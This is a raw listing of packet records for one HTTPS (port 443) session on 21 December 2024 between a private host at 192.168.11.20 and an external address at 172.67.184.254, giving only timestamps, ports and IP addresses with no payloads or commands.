Dec 21, 2024 19:24:49.998725891 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.998750925 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.998889923 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.999031067 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.999049902 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.999238014 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.000436068 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.000464916 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.000641108 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.000641108 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.000731945 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.000744104 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.001405954 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.002912998 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.002939939 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.003001928 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.003036022 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.003087044 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.003159046 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.003169060 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.003235102 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.003235102 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.003294945 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.003309011 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.003840923 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.003865957 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.004061937 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.004076004 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.004132986 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.012106895 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.012135983 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.012264013 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.012283087 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.012311935 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.012311935 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.012360096 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.012459040 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.015292883 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.015317917 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.015448093 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.015448093 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.015448093 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.015547991 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.015561104 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.015593052 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.016499043 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.016529083 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.016697884 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.016697884 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.016710997 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.016745090 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.016745090 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.016793966 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.020261049 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.020284891 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.020412922 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.020431042 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.020493031 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.020538092 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.025120974 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.025146961 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.025356054 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.025377035 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.025399923 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.029386044 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.029413939 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.029480934 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.029589891 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.029589891 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.029611111 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.029622078 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.029706955 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.029772997 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.029841900 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.030858994 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.030884027 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.031045914 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.031071901 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.031071901 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.031083107 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.031148911 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.031244040 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.033894062 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.033919096 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.034054995 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.034054995 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.034101009 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.034101009 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.034109116 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.034148932 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.034297943 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.036808014 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.036834002 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.036952019 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.036998987 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.036999941 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.037009001 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.037045002 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.037146091 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.037146091 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.039015055 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.039040089 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.039172888 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.039174080 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.039220095 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.039220095 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.039228916 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.039269924 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.039433002 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.040291071 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.040317059 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.040724039 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.040724039 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.040771961 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.040781021 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.040822983 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.040822983 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.041059971 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.043523073 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.043546915 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.043669939 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.043669939 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.043720007 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.043728113 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.043814898 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.043865919 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.045083046 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.045108080 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.045177937 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.045229912 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.045229912 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.045329094 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.045335054 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.045375109 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.045375109 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.045427084 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.045475960 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.045475960 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.047549009 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.047573090 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.047687054 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.047687054 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.047699928 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.047734976 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.047734976 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.047782898 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.047883034 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.051234961 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.051264048 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.051433086 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.051433086 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.051433086 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.051433086 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.051455975 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.051467896 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.051515102 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.053452969 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.053479910 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.053566933 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.053601027 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.053601027 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.053611994 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.053652048 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.053720951 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.053720951 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.053772926 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.053772926 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.053796053 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.053796053 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.053900003 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.053900003 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.053908110 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.053947926 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.054045916 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.054361105 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.054389954 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.054498911 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.054498911 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.054546118 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.054553986 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.054594994 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.054646969 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.054694891 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.056943893 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.056969881 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.057097912 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.057097912 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.057172060 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.057188988 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.057199955 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.057199955 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.057334900 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.058999062 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.059025049 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.059094906 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.059303999 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.059303999 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.059303999 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.059323072 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.059350014 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.059350014 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.059350014 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.059350967 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.059350967 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.059398890 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.062854052 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.062877893 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.063013077 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.063013077 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.063034058 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.063045979 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.063100100 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.063100100 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.063143015 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.064122915 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.064147949 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.064261913 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.064261913 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.064308882 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.064308882 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.064316034 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.064357996 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.064407110 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.065392017 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.065418959 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.065535069 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.065535069 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.065543890 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.065582991 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.065632105 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.065632105 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.065731049 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.066461086 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.066484928 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.066667080 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.066667080 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.066679001 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.066742897 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.067730904 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.067759037 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.067903996 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.067903996 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.067919016 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.067950010 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.068094015 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.068499088 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.068523884 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.068665028 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.068665028 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.068710089 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.068710089 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.068723917 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.068738937 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.068789959 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.069413900 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.069442034 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.069528103 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.069551945 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.069551945 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.069658995 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.069658995 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.069752932 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.069752932 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.069804907 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.117217064 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.261827946 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.261845112 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.261854887 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.262061119 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.262073994 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.262080908 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.262080908 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.262108088 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.262156010 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.262208939 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.262208939 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.262259960 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.262275934 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.262334108 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.262334108 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.262334108 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.262334108 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.262356997 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.262398005 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.262398005 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.262434006 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.262514114 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.262514114 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.262562990 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.262562990 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.262612104 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.262612104 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.262626886 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.262660980 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.262758970 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.262758970 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.262808084 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.262819052 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.262823105 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.262856960 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.262856960 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.262907028 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.262907028 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.262954950 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.262954950 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.263004065 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.263010025 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.263012886 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.263015032 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.263102055 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.263102055 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.263102055 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.263200998 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.263200998 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.263248920 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.263248920 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.263298035 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.263298035 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.263346910 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.263417959 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.263444901 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.263444901 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.263544083 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.263544083 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.263544083 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.263544083 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.263562918 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.263593912 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.263639927 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.263689041 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.263689041 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.263787985 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.263787985 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.263885021 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.263885021 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.263933897 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.263967991 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:50.263983965 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.263983965 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:50.263983965 CET	49766	443	192.168.11.20	172.67.184.254
